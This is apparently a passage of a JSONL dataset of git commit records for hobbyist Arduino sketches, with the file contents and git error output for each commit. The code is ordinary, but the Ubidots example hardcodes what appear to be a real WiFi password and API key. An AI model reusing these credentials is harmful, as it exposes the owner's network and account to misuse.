Order\/_ard\/Thunderstorm.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/onordbo\/mood-cloud.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"60a2055d5947a037f14a1636de8ccd52c7fc670b","subject":"removed empty file","message":"removed empty file\n","repos":"Duke-Medical-Instrumentation\/Inception","old_file":"Testing\/BluetoothTesting\/ReceiverMain\/Receiver.ino","new_file":"Testing\/BluetoothTesting\/ReceiverMain\/Receiver.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Duke-Medical-Instrumentation\/Inception.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"889fab9609376578a40a25807e5a2f503845e5ed","subject":"final control file","message":"final control file\n","repos":"ocean-x\/erikson-1,ocean-x\/erikson-1,ocean-x\/erikson-1","old_file":"ocean-x\/ocean-x.ino","new_file":"ocean-x\/ocean-x.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ocean-x\/erikson-1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"0d474186f6ec222b8e2f4cf06d4b90b9b31689bd","subject":"Create MuxTest.ino","message":"Create MuxTest.ino","repos":"coryjfowler\/MAX31855_lib","old_file":"examples\/MuxTest\/MuxTest.ino","new_file":"examples\/MuxTest\/MuxTest.ino","new_contents":"\/***************************************************************************\n Examle for MAX31855_lib library for MAX31855* thermocouple amplifier\n Written by Cory J. Fowler\n BSD license, all text above must be included in any redistribution.\n ***************************************************************************\/\n\n#include <SPI.h>\n#include <MAX31855.h>\n\nconst byte scale = 0; \/\/ 0 is Celsius\/Centigrade, ~80\u00b5s. 1 is Kelvin, ~108\u00b5s. 2 is Fahrenheit ~100\u00b5s. 3 is Rankine, ~100\u00b5s.\n\nbyte error;\nbyte channel = 0;\n\ndouble external;\ndouble internal;\n\nbyte cls[] = {0x1B,0x5B,0x32,0x4A,0x1B,0x5B,0x3B,0x48,0x0A,0x0D}; \/\/ Terminal control commands to erase screen and return home: <Esc>[2J<Esc>[;H\n\nMAX31855 TCM(9);\n\n\nvoid setup(){\n TCM.begin();\n Serial.begin(115200);\n pinMode(10, OUTPUT);\n digitalWrite(10, HIGH);\n}\n\nvoid loop(){\n\/\/ Go get PuTTY or some other terminal program, the Arduino IDE Serial Monitor likes to crash... and take everything with it, save often. :P\n\/\/ Print terminal control codes to clear screen and position cursor at home.\n if(channel == 0){\n for (byte i = 0; i < 8; i++){\n Serial.write(cls[i]); \n }\n }\n \n\n TCM.setMUX(channel); \/\/ Set MUX channel, enable MUX, and start MAX31855 conversion process.\n TCM.getTemp(external, internal, scale, error); \/\/ Read MAX31855\n \n if(channel == 0){\n Serial.println(\"Cold Junction Temperature:\");\n Serial.print(internal);\n Serial.write(0xB0); \/\/ Print \u00b0 'degree' \/\/ Arduino IDE's UTF-8 encoding adds extra character infront of printed degree symbol.\n Serial.println(\"C\");\n Serial.println();\n }\n\n Serial.println(\"Thermocouple Temperature:\");\n Serial.print(external);\n Serial.write(0xB0);\n Serial.println(\"C\");\n\n Serial.print(error, BIN);\n if (error & 0x01){\n Serial.println(\" ERROR: Thermocouple Open!!\");\n } else if (error & 0x02){\n Serial.println(\" ERROR: Thermocouple Shorted To Ground!!\");\n } else if (error & 0x04){\n Serial.println(\" ERROR: Thermocouple Shorted To Power!!\");\n } else {\n Serial.println();\n }\n \n\/* if(channel == 7){\n average = 0;\n \n for(byte i = 0; i < 8; i++)\n average += avg[i];\n \n average \/= 8;\n \n Serial.println(\"Average Cold Junction Temperature:\");\n Serial.print(average);\n Serial.write(0xB0); \/\/ Print \u00b0 'degree'\n Serial.println(\"C\");\n\n\/* \n Serial.print(TCM.intTemp(2));\n Serial.write(0xB0);\n Serial.println(\"F\");\n Serial.println();\n} *\/\n \n if(channel == 7){\n channel = 0;\n delay(5000);\n } else {\n channel++;\n }\n Serial.println();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/MuxTest\/MuxTest.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"79441f04595b8c1a0e3c1dd5f926d88610cad7b8","subject":"Added basic arduino example","message":"Added basic arduino example\n","repos":"ZeroCM\/zcm,ZeroCM\/zcm,ZeroCM\/zcm,ZeroCM\/zcm,ZeroCM\/zcm,ZeroCM\/zcm","old_file":"examples\/arduino\/arduino.ino","new_file":"examples\/arduino\/arduino.ino","new_contents":"#include <zcm-arduino.h>\n#include <zcm\/transport\/third-party\/embedded\/arduino\/transport_arduino_serial.h>\n\nzcm_t zcm;\n\nuint64_t timestamp_now(void* usr) {\n return micros();\n}\n\nvoid setup() {\n zcm_trans_t *trans = zcm_trans_arduino_serial_create(9600, timestamp_now, NULL);\n assert(trans);\n zcm_init_from_trans(&zcm, trans);\n}\n\n#define buflen (10)\nuint8_t buf[buflen];\n\nvoid loop() {\n zcm_publish(&zcm, \"TEST\", buf, buflen);\n delay(500);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/arduino\/arduino.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"c19a2c0fbc3e16d175ff9e2f84d5c8c22522f399","subject":"Got a test program in for the MSGEG7 device to look for \"beats\" or print the volumes across the spectra.","message":"Got a test program in for the MSGEG7 device to look for \"beats\" or print the volumes across the spectra.\n","repos":"akaylyn\/simon,akaylyn\/simon,akaylyn\/simon,akaylyn\/simon,akaylyn\/simon,akaylyn\/simon","old_file":"tests\/Console\/Mic\/Mic.ino","new_file":"tests\/Console\/Mic\/Mic.ino","new_contents":"\/\/ MSGEQ7 datasheet: https:\/\/www.sparkfun.com\/datasheets\/Components\/General\/MSGEQ7.pdf\n\n#include <Metro.h>\n#include <Streaming.h>\n\n\/\/ pin locations\n#define MSGEQ7_STROBE_PIN 7\n#define MSGEQ7_RESET_PIN 8\n#define MSGEQ7_ANALOG_PIN A0\n\n#define NUM_FREQUENCY_BANDS 7\nint bandVolume[NUM_FREQUENCY_BANDS];\nconst int bandCenter[NUM_FREQUENCY_BANDS] = {\n 63, 160, 400, 1000, 2500, 6250, 16000\n}; \/\/ in Hz.\n\n\/\/ see this discussion on what instruments appear in what band:\n\/\/ http:\/\/homerecording.com\/bbs\/general-discussions\/mixing-techniques\/frequency-charts-50110\/\n\nvoid setup() {\n Serial.begin(115200);\n Serial << F(\"Mic: startup.\") << endl;\n\n micStart();\n\n Serial << F(\"Mic startup complete.\") << endl;\n}\n\nvoid loop() {\n \/\/ couple of options for testing\n \n \/\/ just show the entire frequency band.\n\/\/ micPrint();\n \n static boolean startUp = true;\n boolean isBeat = micIsBeat(startUp);\n\n if( isBeat ) {\n Serial << F(\"beat: \") << millis() << endl;\n }\n startUp = false;\n\n}\n\nvoid micPrint() {\n \/\/ gets everthing\n micReadAll();\n\n \/\/ save a copy and only print on \"significant\" delta\n static int lastBandVolume[NUM_FREQUENCY_BANDS];\n boolean showVolume = false;\n const int sigDelta = 10; \/\/ dunno\n for (int i = 0; i < NUM_FREQUENCY_BANDS; i++) {\n showVolume = showVolume || abs(lastBandVolume[i] - bandVolume[i]) >= sigDelta;\n }\n if ( showVolume ) {\n \/\/ save it\n memcpy(&lastBandVolume, &bandVolume, sizeof(bandVolume));\n\n Serial << millis() << F(\":\\t\\t\");\n for (int i = 0; i < NUM_FREQUENCY_BANDS; i++) {\n Serial << bandVolume[i] << F(\"\\t\\t\");\n }\n Serial << endl;\n }\n\n}\n\nvoid micReadAll() {\n \/\/ This whole loop looks like it's ~504 us or 0.5 ms. A clock instruction at 16 MHz takes\n \/\/ 0.0625 us, for reference.\n\n \/\/ Toggle the RESET pin of the MSGEQ7 to start reading from the lowest frequency band\n digitalWrite(MSGEQ7_RESET_PIN, HIGH); \/\/ HIGH for >= 100 nS; easy\n digitalWrite(MSGEQ7_RESET_PIN, LOW);\n\n \/\/ Read the volume in every frequency band from the MSGEQ7\n for (int i = 0; i < NUM_FREQUENCY_BANDS; i++) {\n\n digitalWrite(MSGEQ7_STROBE_PIN, LOW);\n delayMicroseconds(30); \/\/ Allow the output to settle, and get >=72 us btw LOW strobe-strobe\n\n bandVolume[i] = analogRead(MSGEQ7_ANALOG_PIN); \/\/ LOW strobe-strobe delay needs to be >=72 us\n\n digitalWrite(MSGEQ7_STROBE_PIN, HIGH); \/\/ HIGH for >= 18 us.\n \/\/ delayMicroseconds(15);\n\n }\n}\n\n\nboolean micIsBeat(boolean resetBPM = false); \/\/ default to not resetting tracking each time.\nboolean micIsBeat(boolean resetBPM) {\n \/\/ take advantage of the likelihood that \"beats\" are all in the lower band.\n getLowEndVolume();\n unsigned long now = millis();\n\n \/\/ what are we doing?\n \/\/ at resetBPM==true, we're trying to find the time of peak volume\n \/\/ at resetBPM==false, we're calculating the time delta between peaks (period), giving\n \/\/ us BPM.\n enum Mode { findPeak, findBPM };\n static Mode mode = resetBPM ? findPeak : findBPM;\n\n \/\/ track the last beat\n static unsigned long lastBeatAt;\n static int lastBeatVolume;\n static int BPM;\n\n if ( mode == findPeak ) {\n if ( bandVolume[0] < lastBeatVolume ) {\n \/\/ volume is decreasing, so we've found a peak\n \/\/ switch to BPM finding mode.\n mode = findBPM;\n }\n lastBeatVolume = bandVolume[0];\n lastBeatAt = now;\n \n } else {\n const int sigDelta = 10; \/\/ dunno\n if ( abs(bandVolume[0] - lastBeatVolume) <= sigDelta ) {\n \/\/ we're within sigDelta of the peak, so probably a beat\n unsigned long beatDelta = now - lastBeatAt;\n BPM = 60000UL \/ beatDelta; \/\/ 60*1000 ms per minute\n \n lastBeatAt = now;\n lastBeatVolume = max(bandVolume[0], lastBeatVolume);\n \n return(true); \/\/ on a beat\n }\n \n }\n\n return(false);\n}\n\nint getLowEndVolume() {\n \/\/ Toggle the RESET pin of the MSGEQ7 to start reading from the lowest frequency band\n digitalWrite(MSGEQ7_RESET_PIN, HIGH); \/\/ HIGH for >= 100 nS; easy\n digitalWrite(MSGEQ7_RESET_PIN, LOW);\n\n digitalWrite(MSGEQ7_STROBE_PIN, LOW);\n delayMicroseconds(30); \/\/ Allow the output to settle\n bandVolume[0] = analogRead(MSGEQ7_ANALOG_PIN);\n digitalWrite(MSGEQ7_STROBE_PIN, HIGH);\n\n \/\/ only updating the low end.\n}\n\nvoid micStart() {\n \/\/ Set up the MSGEQ7 IC\n pinMode(MSGEQ7_ANALOG_PIN, INPUT);\n pinMode(MSGEQ7_STROBE_PIN, OUTPUT);\n pinMode(MSGEQ7_RESET_PIN, OUTPUT);\n digitalWrite(MSGEQ7_RESET_PIN, LOW);\n digitalWrite(MSGEQ7_STROBE_PIN, HIGH);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tests\/Console\/Mic\/Mic.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f3eed7588a1ed8ee8afd2616f260698414984679","subject":"First draft Arduino BT transponder","message":"First draft Arduino BT transponder\n","repos":"PalookaUniversity\/BlueAndruino,PalookaUniversity\/BlueAndruino","old_file":"transponderino\/transponder.ino","new_file":"transponderino\/transponder.ino","new_contents":"\n\n\/*\n\n http:\/\/arduino.cc\/en\/Reference\/SoftwareSerial\n \n Software serial multple serial test\n \n Receives from the hardware serial, sends to software serial.\n Receives from software serial, sends to hardware serial.\n \n The circuit: \n * RX is digital pin 10 (connect to TX of other device)\n * TX is digital pin 11 (connect to RX of other device)\n \n Note:\n Not all pins on the Mega and Mega 2560 support change interrupts, \n so only the following can be used for RX: \n 10, 11, 12, 13, 50, 51, 52, 53, 62, 63, 64, 65, 66, 67, 68, 69\n \n Not all pins on the Leonardo support change interrupts, \n so only the following can be used for RX: \n 8, 9, 10, 11, 14 (MISO), 15 (SCK), 16 (MOSI).\n \n created back in the mists of time\n modified 25 May 2012\n by Tom Igoe\n based on Mikal Hart's example\n *\/\n \n#include <SoftwareSerial.h>\nSoftwareSerial mySerial(10, 11); \/\/ RX, TX\n \n \nchar val; \/\/ variable to receive data from the serial port\nint ledpin = 8; \/\/ LED connected to pin 48 (on-board LED)\n\nString inputString = \"\"; \/\/ a string to hold incoming data\nboolean stringComplete = false; \/\/ whether the string is complete\n\nvoid setup() {\n\n pinMode(ledpin, OUTPUT); \/\/ pin 48 (on-board LED) as OUTPUT\n Serial.begin(9600); \/\/ start serial communication at 9600bps\n inputString.reserve(80);\n}\n\nvoid loop() {\n\n \/\/ print the string when a newline arrives:\n if (stringComplete) {\n \/\/ String handling action goes here...\n Serial.println(inputString); \n \/\/ clear the string:\n inputString = \"\";\n stringComplete = false;\n }\n \/\/delay(100); \/\/ wait 100ms for next reading\n} \n\n\n\n\/*\n SerialEvent occurs whenever a new data comes in the\n hardware serial RX. This routine is run between each\n time loop() runs, so using delay inside loop can delay\n response. Multiple bytes of data may be available.\n *\/\nvoid serialEvent() {\n while (Serial.available()) {\n \/\/ get the new byte:\n char inChar = (char)Serial.read(); \n \/\/ add it to the inputString:\n inputString += inChar;\n \/\/ if the incoming character is a newline, set a flag\n \/\/ so the main loop can do something about it:\n if (inChar == '\\n') {\n stringComplete = true;\n } \n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'transponderino\/transponder.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"98e90f73050ac3012210a5b50e127ca197d40353","subject":"APRS & IoT","message":"APRS & IoT","repos":"W4KRL\/D1M-WX1-Weather-Station","old_file":"D1M-WX1_IoT-APRS\/D1M-WX1_IoT-APRS.ino","new_file":"D1M-WX1_IoT-APRS\/D1M-WX1_IoT-APRS.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/W4KRL\/D1M-WX1-Weather-Station.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"bef88143d33b8044cd9aa77906fd2110d23b4a24","subject":"hmm, in theory all motors can be moved togehter (in reality this happens!)","message":"hmm, in theory all motors can be moved togehter (in reality this happens!)\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/ArduinoClient.ino","new_file":"ArduinoClient\/ArduinoClient.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"86d2e2400a10c88fa06e62490d54b2e355f1e04b","subject":"Add SockJS+Stomp example","message":"Add SockJS+Stomp example\n","repos":"Links2004\/arduinoWebSockets,bbx10\/arduinoWebSockets,bbx10\/arduinoWebSockets,bbx10\/arduinoWebSockets,Links2004\/arduinoWebSockets,Links2004\/arduinoWebSockets,Links2004\/arduinoWebSockets,Links2004\/arduinoWebSockets,Links2004\/arduinoWebSockets,bbx10\/arduinoWebSockets,bbx10\/arduinoWebSockets","old_file":"examples\/WebSocketClientSockJsAndStomp\/WebSocketClientSockJsAndStomp.ino","new_file":"examples\/WebSocketClientSockJsAndStomp\/WebSocketClientSockJsAndStomp.ino","new_contents":"\/*\n * WebSocketClientSockJsAndStomp.ino\n * \n * Example for connecting and maintining a connection with a SockJS+STOMP websocket connection.\n * In this example we connect to a Spring application (see https:\/\/docs.spring.io\/spring\/docs\/current\/spring-framework-reference\/html\/websocket.html).\n *\n * Created on: 18.07.2017\n * Author: Martin Becker <mgbckr>, contact: becker@informatik.uni-wuerzburg.de\n *\/\n\n\/\/ CONSTANTS AND MACROS\n\n#define DEBUG_WEBSOCKETS\n#define DEBUG_WEBSOCKETS(...) Serial.printf( __VA_ARGS__ )\n\n#define WEBSOCKETS_NETWORK_TYPE NETWORK_ESP8266\n#define WEBSOCKETS_HEADERS_NO_ORIGIN\n\n#define USE_SERIAL Serial\n\n\n\/\/ LIBRARIES\n\n#include <ESP8266WiFi.h>\n#include <WebSocketsClient.h>\n\n\n\/\/ SETTINGS\n\nconst char* wlan_ssid = \"yourssid\";\nconst char* wlan_password = \"password\";\n\nconst char* ws_host = \"the.host.com\";\nconst int ws_port = 80;\n\n\/\/ base URL for SockJS (websocket) connection\n\/\/ The complete URL will look something like this(cf. http:\/\/sockjs.github.io\/sockjs-protocol\/sockjs-protocol-0.3.3.html#section-36): \n\/\/ ws:\/\/<ws_host>:<ws_port>\/<ws_baseurl>\/<3digits>\/<randomstring>\/websocket\n\/\/ For the default config of Spring's SockJS\/STOMP support the default base URL is \"\/socketentry\/\".\nconst char* ws_baseurl = \"\/socketentry\/\"; \/\/ don't forget leading and trailing \"\/\" !!!\n\n\n\/\/ VARIABLES\n\nWebSocketsClient webSocket;\n\n\n\/\/ FUNCTIONS\n\nvoid webSocketEvent(WStype_t type, uint8_t * payload, size_t length) {\n\n switch(type) {\n case WStype_DISCONNECTED:\n USE_SERIAL.printf(\"[WSc] Disconnected!\\n\");\n break;\n case WStype_CONNECTED:\n {\n USE_SERIAL.printf(\"[WSc] Connected to url: %s\\n\", payload);\n }\n break;\n case WStype_TEXT: {\n\n \/\/ #####################\n \/\/ handle STOMP protocol\n \/\/ #####################\n\n String text = (char*) payload; \n \n USE_SERIAL.printf(\"[WSc] get text: %s\\n\", payload);\n\n if (payload[0] == 'h') {\n \n USE_SERIAL.println(\"Heartbeat!\");\n \n } else if (payload[0] == 'o') {\n\n \/\/ on open connection\n char *msg = \"[\\\"CONNECT\\\\naccept-version:1.1,1.0\\\\nheart-beat:10000,10000\\\\n\\\\n\\\\u0000\\\"]\";\n webSocket.sendTXT(msg);\n \n } else if (text.startsWith(\"a[\\\"CONNECTED\")) {\n\n \/\/ subscribe to some channels\n \n char *msg = \"[\\\"SUBSCRIBE\\\\nid:sub-0\\\\ndestination:\/user\/queue\/messages\\\\n\\\\n\\\\u0000\\\"]\";\n webSocket.sendTXT(msg);\n delay(1000);\n\n \/\/ and send a message\n\n msg = \"[\\\"SEND\\\\ndestination:\/app\/message\\\\ncontent-length:33\\\\n\\\\n{\\\\\\\"user\\\\\\\":\\\\\\\"esp\\\\\\\",\\\\\\\"message\\\\\\\":\\\\\\\"Hello!\\\\\\\"}\\\\u0000\\\"]\";\n webSocket.sendTXT(msg);\n delay(1000);\n }\n\n break;\n } \n case WStype_BIN:\n USE_SERIAL.printf(\"[WSc] get binary length: %u\\n\", length);\n hexdump(payload, length);\n\n \/\/ send data to server\n \/\/ webSocket.sendBIN(payload, length);\n break;\n }\n\n}\n\nvoid setup() {\n\n \/\/ setup serial\n\n \/\/ USE_SERIAL.begin(921600);\n USE_SERIAL.begin(115200);\n\n\/\/ USE_SERIAL.setDebugOutput(true);\n\n USE_SERIAL.println();\n\n for(uint8_t t = 4; t > 0; t--) {\n USE_SERIAL.printf(\"[SETUP] BOOT WAIT %d...\\n\", t);\n USE_SERIAL.flush();\n delay(1000);\n }\n\n \/\/ connect to WiFi\n\n USE_SERIAL.print(\"Logging into WLAN: \"); Serial.print(wlan_ssid); Serial.print(\" ...\");\n WiFi.mode(WIFI_STA);\n WiFi.begin(wlan_ssid, wlan_password);\n \n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n USE_SERIAL.print(\".\");\n }\n USE_SERIAL.println(\" success.\");\n USE_SERIAL.print(\"IP: \"); USE_SERIAL.println(WiFi.localIP());\n \n \/\/ #####################\n \/\/ create socket url according to SockJS protocol (cf. http:\/\/sockjs.github.io\/sockjs-protocol\/sockjs-protocol-0.3.3.html#section-36)\n \/\/ #####################\n String socketUrl = ws_baseurl;\n socketUrl += random(0,999);\n socketUrl += \"\/\";\n socketUrl += random(0,999999); \/\/ should be a random string, but this works (see )\n socketUrl += \"\/websocket\";\n\n \/\/ connect to websocket\n webSocket.begin(ws_host, ws_port, socketUrl);\n webSocket.onEvent(webSocketEvent);\n}\n\nvoid loop() {\n webSocket.loop();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/WebSocketClientSockJsAndStomp\/WebSocketClientSockJsAndStomp.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"9f763e811699c15ebb839a188530dc212dc4e9d3","subject":"new, basic piezo sensor tester using INT0 and LED_BUILTIN","message":"new, basic piezo sensor tester using INT0 and LED_BUILTIN\n","repos":"DefProc\/mfuklc,DefProc\/mfuklc,DefProc\/mfuklc","old_file":"range\/arduino\/piezo_sensor_test\/piezo_sensor_test.ino","new_file":"range\/arduino\/piezo_sensor_test\/piezo_sensor_test.ino","new_contents":"#define IN 2\n\nvolatile boolean piezo_flag = false;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n pinMode(IN, INPUT);\n pinMode(LED_BUILTIN, OUTPUT);\n \n attachInterrupt(INT0, piezo, RISING);\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n if (piezo_flag == true) {\n piezo_flag = false;\n digitalWrite(LED_BUILTIN, HIGH);\n delay(250);\n digitalWrite(LED_BUILTIN, LOW);\n delay(250);\n }\n}\n\nvoid piezo() {\n piezo_flag = true;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'range\/arduino\/piezo_sensor_test\/piezo_sensor_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3987d6000dedb6d3705859dc5a19323e452de8b6","subject":"Create sketch_reco.ino","message":"Create sketch_reco.ino","repos":"redlibre\/iot_platform","old_file":"dragino\/sketch_reco.ino","new_file":"dragino\/sketch_reco.ino","new_contents":"#include <SPI.h>\n#include <PubSubClient.h>\n#include <YunClient.h>\n#include <string.h>\n\nint out2 = 2;\nint out3 = 3;\nint out4 = 4;\nint out6 = 6;\n\nchar message_buff[100];\n\n\/\/\/\/Please here paste info from \"devinfo\"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#define IOTUSERNAME \"ioioioioio\"\n#define IOTPASSWORD \"pppppppp\"\n#define IOTDEVICE \"iiiiiiiii\"\n#define USERNAME \"uuuuuuuu\"\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n\/\/\/\/from here dont' modify anything\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#define TOPIC \"redlibre\/iot\/\"USERNAME\"\/\"IOTDEVICE\"\/\"IOTUSERNAME\"\/iot\/control\/\"\n#define STATUS \"redlibre\/iot\/\"USERNAME\"\/\"IOTDEVICE\"\/\"IOTUSERNAME\"\/status\/\"\n#define IOTID USERNAME\"\/\"IOTDEVICE\n\nIPAddress server(190, 97, 169, 126);\n\n\nvoid callback(char* topic, byte* payload, unsigned int length);\n\nYunClient ethClient;\nPubSubClient client(server, 1883, callback, ethClient);\n\n\nvoid callback(char* topic, byte* payload, unsigned int length) {\n\n int i = 0;\n for(i=0; i<length; i++) {\n message_buff[i] = payload[i];\n }\n message_buff[i] = '\\0';\n \n String msgString = String(message_buff);\n \n \nif (msgString.equals(\"gpio2on\")) {\n digitalWrite(out2, HIGH);}\n \nelse if (msgString.equals(\"gpio2off\")) {\n digitalWrite(out2, LOW);}\n\nelse if (msgString.equals(\"gpio3on\")) {\n digitalWrite(out3, HIGH);}\n\nelse if (msgString.equals(\"gpio3off\")) {\n digitalWrite(out3, LOW);}\n\nelse if (msgString.equals(\"gpio4on\")) {\n digitalWrite(out4, HIGH);}\n\nelse if (msgString.equals(\"gpio3off\")) {\n digitalWrite(out4, LOW);}\n\nelse if (msgString.equals(\"gpio6on\")) {\n digitalWrite(out6, HIGH);}\n\nelse if (msgString.equals(\"gpio6off\")) {\n digitalWrite(out6, LOW);}\n\n \n}\n\n\n\nvoid setup()\n{\n Bridge.begin();\n pinMode(out2, OUTPUT);\n pinMode(out3, OUTPUT);\n pinMode(out4, OUTPUT);\n pinMode(out6, OUTPUT);\n \n\n if (client.connect(IOTID, IOTUSERNAME, IOTPASSWORD)) {\n client.publish(STATUS,\"hello world - authenticated!!\");\n client.subscribe(TOPIC);\n }\n}\n\nvoid loop()\n{\n client.loop();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'dragino\/sketch_reco.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"df026f46af05404bf127e64f0b6d415f24d14246","subject":"Simple GET request","message":"Simple GET request\n","repos":"theapi\/denbit,theapi\/denbit","old_file":"examples\/WiFi\/WiFiClient\/WiFiClient.ino","new_file":"examples\/WiFi\/WiFiClient\/WiFiClient.ino","new_contents":"\/*\n * This sketch sends data via HTTP GET requests to data.sparkfun.com service.\n *\n * You need to get streamId and privateKey at data.sparkfun.com and paste them\n * below. Or just customize this script to talk to other HTTP servers.\n *\n *\/\n\n\/\/ Set the WiFi access details\n#define WIFI_SSID \"********\"\n#define WIFI_PASS \"********\"\n\n\n#include <ESP8266WiFi.h>\n\n\/\/ Include the Denbit library.\n#include <Denbit.h>\n\/\/ Initialize the denbit.\nDenbit denbit;\n\nconst char* ssid = WIFI_SSID;\nconst char* password = WIFI_PASS;\n\nconst char* host = \"www.dennis.co.uk\";\n\n\n\nvoid setup() {\n Serial.begin(115200);\n\n \/\/ We start by connecting to a WiFi network\n\n Serial.println();\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(ssid);\n \n WiFi.begin(ssid, password);\n \n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n\n Serial.println(\"\");\n Serial.println(\"WiFi connected\"); \n Serial.println(\"IP address: \");\n Serial.println(WiFi.localIP());\n}\n\nvoid loop() {\n \n Serial.print(\"connecting to \");\n Serial.println(host);\n \n \/\/ Use WiFiClient class to create TCP connections\n WiFiClient client;\n const int httpPort = 80;\n if (!client.connect(host, httpPort)) {\n Serial.println(\"connection failed\");\n return;\n }\n \n \/\/ Create a URI for the request\n String url = \"\/sites\/denniscorporate\/distro-version.txt\";\n \n Serial.print(\"Requesting URL: \");\n Serial.println(url);\n \n \/\/ This will send the request to the server\n client.print(String(\"GET \") + url + \" HTTP\/1.1\\r\\n\" +\n \"Host: \" + host + \"\\r\\n\" + \n \"Connection: close\\r\\n\\r\\n\");\n unsigned long timeout = millis();\n while (client.available() == 0) {\n if (millis() - timeout > 5000) {\n Serial.println(\">>> Client Timeout !\");\n client.stop();\n return;\n }\n }\n \n \/\/ Read all the lines of the reply from server and print them to Serial\n while(client.available()){\n String line = client.readStringUntil('\\r');\n Serial.print(line);\n }\n \n Serial.println();\n Serial.println(\"closing connection\");\n\n delay(30000);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/WiFi\/WiFiClient\/WiFiClient.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8c93939346f5899a1a5603d697b07549452f7cf2","subject":"Create LEDUbidots.ino","message":"Create LEDUbidots.ino","repos":"ubidots\/ubidots-arduino-wifi","old_file":"examples\/LEDUbidots.ino","new_file":"examples\/LEDUbidots.ino","new_contents":"\/*\n Example with LED for Ubidots\n \n This sketch connect to Ubidots (http:\/\/www.ubidots.com)\n using an Arduino Wifi shield.\n \n This example is written for a network using WPA encryption. You only need your SSID and PASS.\n \n This example implements the Ubidots library for the Arduino WiFi Shield, for the 1.6 API version.\n With this example you can turn an LED on\/off with a Switch from the Ubidots dashboard\n \n Arduino pins:\n A0 --> LED +\n GND --> LED -\n \n Created 9 Jun 2014\n Modified 9 Jun 2014\n by Mateo V\u00e9lez\n \n This code is in the public domain.\n \n *\/\n#include <WiFi.h>\n#include <Ubidots.h>\nchar ssid[] = \"Atom House Medellin\"; \/\/your network SSID (name) \nchar pass[] = \"atommed2014\"; \/\/your network password (use for WPA, or use as key for WEP)\nString api = \"5ca9b10038e49e0492c6794f9043f0918ddcbd26\"; \/\/your API Key number\nString idvari = \"53beeca07625420bde83ce29\"; \/\/the number of the Ubidots variable\n\nUbidots ubiclient(api); \/\/with that you call the api with the prefix ubiclient\nString readvalue = \"\";\nboolean response;\nint valor_sensor = 0;\nint status = WL_IDLE_STATUS;\nvoid setup()\n{\n Serial.begin(9600); \/\/9600 baud for serial transmission\n \/\/You need boolean variable to save value from WifiCon function, (True, False)\n \/\/we need to define first a WL_IDLE_STATUS for the network \n response = ubiclient.WifiCon(ssid, pass, status, api); \/\/this function is to connect to your wifi network\n \n \n}\nvoid loop()\n{\n \n pinMode(A0, OUTPUT); \n readvalue = ubiclient.get_value(idvari);\n Serial.println(readvalue);\n if(readvalue == \"1.0\")\n {\n \n digitalWrite(A0, HIGH);\n }\n else\n {\n digitalWrite(A0, LOW);\n }\n 